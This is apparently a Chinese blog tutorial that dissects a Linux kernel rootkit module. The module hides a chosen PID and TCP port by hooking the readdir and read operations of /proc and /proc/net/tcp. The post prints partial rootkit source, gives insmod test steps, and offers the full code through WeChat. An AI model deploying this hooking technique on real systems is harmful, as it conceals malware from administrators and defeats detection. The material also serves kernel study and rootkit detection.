Linux内核级隐身术:进程与端口隐藏技术剖析

张开发
2026/4/15 16:27:36 15 分钟阅读

分享文章

Linux内核级隐身术:进程与端口隐藏技术剖析
对于接触Linux系统的人来说“进程”“端口”这些词并不陌生——我们用命令查看运行的程序、检查网络连接都是在和这些东西打交道。但你有没有想过有些进程、端口明明在运行却能“躲”过常规命令的查看这背后就有Linux内核隐藏工具的身影。今天我们就用最通俗的话聊聊这种工具到底是什么、怎么实现的以及它涉及的那些核心知识点。一、先搞懂这种内核隐藏工具到底是什么简单说它是一种能嵌入Linux内核的小型程序本质是内核模块核心作用就是“隐身”——让指定的进程、网络端口甚至相关文件在常规查看命令比如ps、netstat下“消失”。但要注意它不是真的把进程、端口删掉了而是偷偷修改了内核的正常工作逻辑让系统“谎报军情”从而达到隐藏的目的。打个比方这就像你家的柜子里藏了一件东西你没有把东西拿走而是给柜子装了一个特殊的门——别人打开柜子只能看到门后面的部分藏起来的东西根本看不到但它其实一直都在柜子里。这种工具的原理和这个“特殊门”的逻辑几乎一样。它的应用场景很明确主要用于系统安全测试比如检测系统漏洞看看系统能不能发现隐藏的恶意程序、内核开发学习当然也可能被恶意利用比如恶意程序隐藏自身躲避系统查杀——这里我们只聚焦技术实现不探讨恶意用途。二、核心知识点搞懂这些才能明白“隐身术”的底层逻辑在聊具体实现之前我们先梳理几个必须知道的知识点都是大白话不用怕看不懂1. Linux内核模块工具的“载体”Linux内核允许我们动态加载一些小型程序就是内核模块这些程序能直接访问内核的核心资源相当于给内核“加了个插件”。我们今天说的这种隐藏工具就是以内核模块的形式存在的——不用重新编译内核只要加载这个模块它就能开始工作卸载模块隐藏效果就会消失系统恢复正常。2. 系统调用与内核函数工具的“操作对象”我们平时用的ps命令查看进程、netstat命令查看端口本质上都是通过调用内核的特定函数来获取进程、端口信息的。比如查看进程时会调用内核的readdir、filldir等函数这些函数负责读取进程目录、返回进程列表查看端口时会调用内核的read函数读取/proc/net/tcpIPv4、/proc/net/tcp6IPv6里的端口信息。而这种隐藏工具的核心就是“修改”这些内核函数——不是删掉原来的函数而是把原来的函数“替换”成我们自己写的函数让系统调用这些函数时返回的信息里少了我们要隐藏的内容。3. /proc文件系统进程、端口信息的“展示窗口”Linux里有个特殊的/proc目录它不是真实的磁盘文件而是内核在内存中创建的“虚拟文件系统”。这个目录里的文件其实是内核状态的“映射”——比如/proc/目录下每个进程都会有一个以进程IDPID命名的文件夹里面存着这个进程的所有信息/proc/net/tcp和/proc/net/tcp6则存着当前所有的TCP连接包括端口信息。我们的隐藏工具就是通过修改这个“展示窗口”的内容让常规命令看不到隐藏的进程和端口——相当于把窗口里的某些内容“擦掉”了但背后的进程、端口依然在运行。4. 函数挂钩Hook“替换”内核函数的核心技巧所谓“函数挂钩”简单说就是“偷梁换柱”先把内核原来的函数保存起来怕后续需要恢复然后把我们自己写的函数替换成内核原本调用的函数。这样一来当系统需要调用原来的函数时实际上调用的是我们自己的函数我们就能在自己的函数里做一些“过滤”操作——比如把要隐藏的进程、端口信息筛掉。三、设计思路如何给进程和端口“隐身”这个工具的设计思路很简单核心就3步加载模块→挂钩内核函数→过滤隐藏内容卸载模块时再把内核函数恢复原样避免影响系统正常运行。具体到“隐藏进程”和“隐藏端口”思路略有不同但本质都是“挂钩过滤”。1. 整体设计框架加载模块 → 查找并保存内核中原有的关键函数比如readdir、read → 编写自己的“过滤函数”用来筛掉要隐藏的内容 → 用自己的函数替换内核原来的函数 → 系统调用函数时自动过滤隐藏内容 → 卸载模块时恢复内核原来的函数 → 系统恢复正常。2. 隐藏进程的设计思路我们知道查看进程时系统会读取/proc目录下的进程ID文件夹而这个读取操作会调用内核的readdir读取目录和filldir填充目录内容两个函数。所以隐藏进程的思路就是第一步挂钩readdir和filldir函数——先保存内核原来的这两个函数然后用我们自己写的函数替换它们。第二步设定要隐藏的进程ID比如通过参数传入指定哪个PID要隐藏。第三步在自己写的filldir函数里加一个“判断”——如果当前读取的目录名称也就是进程ID和我们要隐藏的PID一致就直接“跳过”不把这个进程的信息返回给系统如果不一致就调用原来的filldir函数正常返回信息。这样一来当我们用ps命令查看进程时系统调用的是我们自己的filldir函数要隐藏的进程就被“跳过”了自然看不到。3. 隐藏端口的设计思路端口信息存在/proc/net/tcp和/proc/net/tcp6文件里查看端口时系统会调用内核的read函数读取这两个文件的内容。所以隐藏端口的思路和隐藏进程类似也是“挂钩过滤”第一步挂钩read函数——保存内核原来的read函数用自己写的read函数替换。第二步设定要隐藏的端口注意代码里用的是十六进制比如要隐藏19999端口对应的十六进制是4E1F这样对比起来更方便。第三步在自己写的read函数里先调用原来的read函数获取所有端口信息然后对这些信息进行“过滤”——逐行检查端口信息找到包含要隐藏端口十六进制的那一行把这一行删掉再把剩下的内容返回给系统。这里有个小细节删掉一行后要调整读取的字符数避免系统发现“少了一行”出现异常。就像我们在文章里删掉一句话后要调整段落格式让文章看起来连贯一样。四、代码实现解读用大白话看懂核心代码下面我们结合提供的代码拆解核心部分不用纠结每一行代码的语法重点看“它在做什么”全程大白话解读...inthide_port(void){structpathtcp_path;structpathtcp6_path;if(kern_path(/proc/net/tcp,0,tcp_path)){return-1;}if(kern_path(/proc/net/tcp6,0,tcp6_path)){return-1;}old_tcp6_inodetcp6_path.dentry-d_inode;old_tcp_inodetcp_path.dentry-d_inode;if(!old_tcp_inode){return-1;}if(!old_tcp6_inode){return-1;}old_tcp_fopsold_tcp_inode-i_fop;old_tcp_readold_tcp_fops-read;new_tcp_fops*(old_tcp_inode-i_fop);new_tcp_fops.readnew_tcp_read;old_tcp_inode-i_fopnew_tcp_fops;old_tcp6_fopsold_tcp6_inode-i_fop;old_tcp6_readold_tcp6_fops-read;new_tcp6_fops*(old_tcp6_inode-i_fop);new_tcp6_fops.readnew_tcp6_read;old_tcp6_inode-i_fopnew_tcp6_fops;return0;}inthide_process(void){structpathproc_path;if(!PIDTOHIDE){printk(KERN_ALERTFailed to get pid);}//printk(KERN_ALERT The pid is %s\n, PIDTOHIDE);if(kern_path(/proc/,0,proc_path))return-1;old_proc_inodeproc_path.dentry-d_inode;if(!old_proc_inode)return-1;old_proc_fopsold_proc_inode-i_fop;//memcpy(new_proc_fops, old_proc_inode-i_fop, sizeof(struct * file_operations));new_proc_fops*(old_proc_inode-i_fop);old_proc_readdirold_proc_fops-readdir;new_proc_fops.readdirnew_proc_readdir;printk(KERN_ALERTThe addr of new_proc_ops is %p and old_proc_ops is %p,new_proc_fops,old_proc_fops);old_proc_inode-i_fopnew_proc_fops;//CLOSE THE FILE NOWprintk(KERN_ALERTFinished!\n);return0;}staticintrootkit_init(void){intrv0;void*__end(void*)unmap_page_range;unmap_page_range(unmap_page_range_t)kallsyms_lookup_name(unmap_page_range);if((!unmap_page_range)||(void*)unmap_page_range__end){printk(KERN_ERRRootkit error: cant find important function unmap_page_range\n);return-ENOENT;}#ifLINUX_VERSION_CODEKERNEL_VERSION(3,2,0)my_tlb_gather_mmu(tlb_gather_mmu_t)kallsyms_lookup_name(tlb_gather_mmu);printk(KERN_ERRresolved symbol tlb_gather_mmu %p\n,my_tlb_gather_mmu);if(!my_tlb_gather_mmu){printk(KERN_ERRRootkit error: cant find kernel function my_tlb_gather_mmu\n);return-ENOENT;}my_tlb_flush_mmu(tlb_flush_mmu_t)kallsyms_lookup_name(tlb_flush_mmu);if(!my_tlb_flush_mmu){printk(KERN_ERRRootkit error: cant find kernel function my_tlb_flush_mmu\n);return-ENOENT;}my_tlb_finish_mmu(tlb_finish_mmu_t)kallsyms_lookup_name(tlb_finish_mmu);if(!my_tlb_finish_mmu){printk(KERN_ERRRootkit error: cant find kernel function my_tlb_finish_mmu\n);return-ENOENT;}#elsepmmu_gathers(structmmu_gather*)kallsyms_lookup_name(mmu_gathers);if(!pmmu_gathers){printk(KERN_ERRRootkit error: cant find kernel function mmu_gathers\n);return-ENOENT;}#endif//kernel_version 3.2kern_free_pages_and_swap_cachep(free_pages_and_swap_cache_t)kallsyms_lookup_name(free_pages_and_swap_cache);if(!kern_free_pages_and_swap_cachep){printk(KERN_ERRRootkit error: cant find kernel function free_pages_and_swap_cache\n);return-ENOENT;}kern_flush_tlb_mm(flush_tlb_mm_t)kallsyms_lookup_name(flush_tlb_mm);if(!kern_flush_tlb_mm){printk(KERN_ERRRootkit error: cant find kernel function flush_tlb_mm\n);return-ENOENT;}kern_free_pgtables(free_pgtables_t)kallsyms_lookup_name(free_pgtables);if(!kern_free_pgtables){printk(KERN_ERRRootkit error: cant find kernel function free_pgtables\n);return-ENOENT;}hide_process();hide_port();printk(KERN_ALERTRootkit: Hello, world\n);returnrv;}staticvoidrootkit_exit(void){restore_hide_process();restore_hide_port();printk(KERN_ALERTRootkit: Goodbye, cruel world\n);}module_init(rootkit_init);module_exit(rootkit_exit);If you need the complete source code, please add the WeChat number (c17865354792)1. 开头的“准备工作”引入头文件和定义参数代码开头有一大堆#include其实就是引入内核的各种头文件——相当于我们写文章时要先准备好字典、参考书方便后续调用相关的函数和结构。然后定义了两个关键参数PIDTOHIDE要隐藏的进程ID通过模块参数传入和PORTTOHIDE要隐藏的端口这里是十六进制“4E1F”对应十进制19999。还有一些“旧函数”“新函数”的定义比如old_proc_readdir保存内核原来的readdir函数、new_proc_readdir我们自己写的readdir函数目的就是为了后续的“挂钩”。2. 隐藏进程的核心代码new_proc_readdir和new_proc_filldirnew_proc_readdir是我们自己写的“读取目录函数”它的作用很简单先保存原来的filldir函数然后调用原来的readdir函数但把里面的filldir参数换成我们自己写的new_proc_filldir函数。new_proc_filldir就是“过滤函数”它会对比当前读取的目录名称进程ID和我们要隐藏的PIDTOHIDE如果一样就返回0相当于“跳过”不返回这个进程的信息如果不一样就调用原来的filldir函数正常返回信息。这就是进程隐藏的核心逻辑。3. 隐藏端口的核心代码new_tcp_read和new_tcp6_read这两个函数是我们自己写的“读取端口文件函数”分别对应IPv4tcp和IPv6tcp6。它们的逻辑几乎一样第一步先调用原来的read函数获取所有端口信息存在buffer里。第二步逐行检查buffer里的内容找到包含PORTTOHIDE4E1F的行——这里会通过字符串查找找到端口对应的十六进制字符串。第三步如果找到这一行就把这一行后面的内容往前移动覆盖掉这一行相当于删掉这一行然后调整读取的字符数origin_read避免系统异常。第四步返回过滤后的内容这样查看端口时就看不到要隐藏的端口了。4. 模块的加载和卸载init和exit函数module_init(rootkit_init)当我们加载模块时会调用rootkit_init函数。这个函数的作用是“初始化”——先查找内核里的一些关键函数比如unmap_page_range、tlb_gather_mmu等这些是内核的核心函数确保工具能正常运行然后调用hide_process隐藏进程和hide_port隐藏端口两个函数启动隐藏功能。module_exit(rootkit_exit)当我们卸载模块时会调用rootkit_exit函数。这个函数的作用是“恢复”——调用restore_hide_process和restore_hide_port把之前替换的内核函数恢复成原来的样子这样系统就能正常查看所有进程和端口了不会留下后遗症。五、涉及的核心技术领域总结这种内核隐藏工具看起来简单但其实融合了多个Linux内核开发的核心领域总结一下主要有这4个方面1. Linux内核模块开发这是工具的基础——如何编写内核模块、如何定义模块的加载和卸载函数、如何传递模块参数这些都是内核模块开发的核心知识点。模块的优势在于“动态加载、动态卸载”不用修改内核源码灵活性极高。2. 内核函数挂钩Hook技术这是工具的核心技巧——通过替换内核函数实现对系统行为的修改。这里用到了函数指针的知识通过保存原函数、替换原函数实现“过滤”逻辑这也是内核级开发中常用的一种技巧比如系统调试、安全监控等场景都会用到。3. /proc文件系统原理工具的隐藏逻辑完全依赖于/proc文件系统的特性——它是内核状态的“映射”修改这个文件系统的内容就能影响常规命令的输出。理解/proc文件系统的工作机制是理解这种隐藏工具的关键。4. 内核内存与进程管理工具在运行过程中需要访问内核的inode文件节点、file_operations文件操作结构等核心数据结构这些都是内核内存管理和进程管理的核心内容。比如通过kern_path函数获取/proc目录的inode通过修改inode的i_fop文件操作指针实现函数的替换。六、测试步骤编译模块进入代码所在目录执行make找一个要隐藏的进程 PID# 随便找一个正在运行的进程比如 bashps-ef|grepbash假设你看到 PID 是1234换成你自己查到的PID加载模块隐藏指定 PIDsudoinsmod 你的模块名.koPIDTOHIDE1234例子如果编译出来是 hide.kosudoinsmod hide.koPIDTOHIDE1234测试是否隐藏成功ps-ef|grep1234ls/proc|grep1234看不到输出 隐藏成功测试端口隐藏# 开一个端口 19999新终端执行nc-l19999# 查看端口应该看不到netstat-tulpn|grep19999cat/proc/net/tcp|grep4E1F卸载模块sudormmod hide验证恢复正常ps-ef|grep1234重新看到进程 恢复成功总结其实这种Linux内核隐藏工具本质就是“利用内核模块的灵活性通过函数挂钩技术修改/proc文件系统的输出从而实现进程和端口的隐藏”。它没有什么高深的黑科技核心就是对Linux内核函数、/proc文件系统的理解和运用。通过了解它的实现原理我们不仅能掌握内核模块开发、函数挂钩等实用技术更能深入理解Linux内核的工作逻辑——比如系统命令是如何获取进程、端口信息的内核函数是如何被调用的/proc文件系统是如何映射内核状态的。Welcome to follow WeChat official account【程序猿编码】

更多文章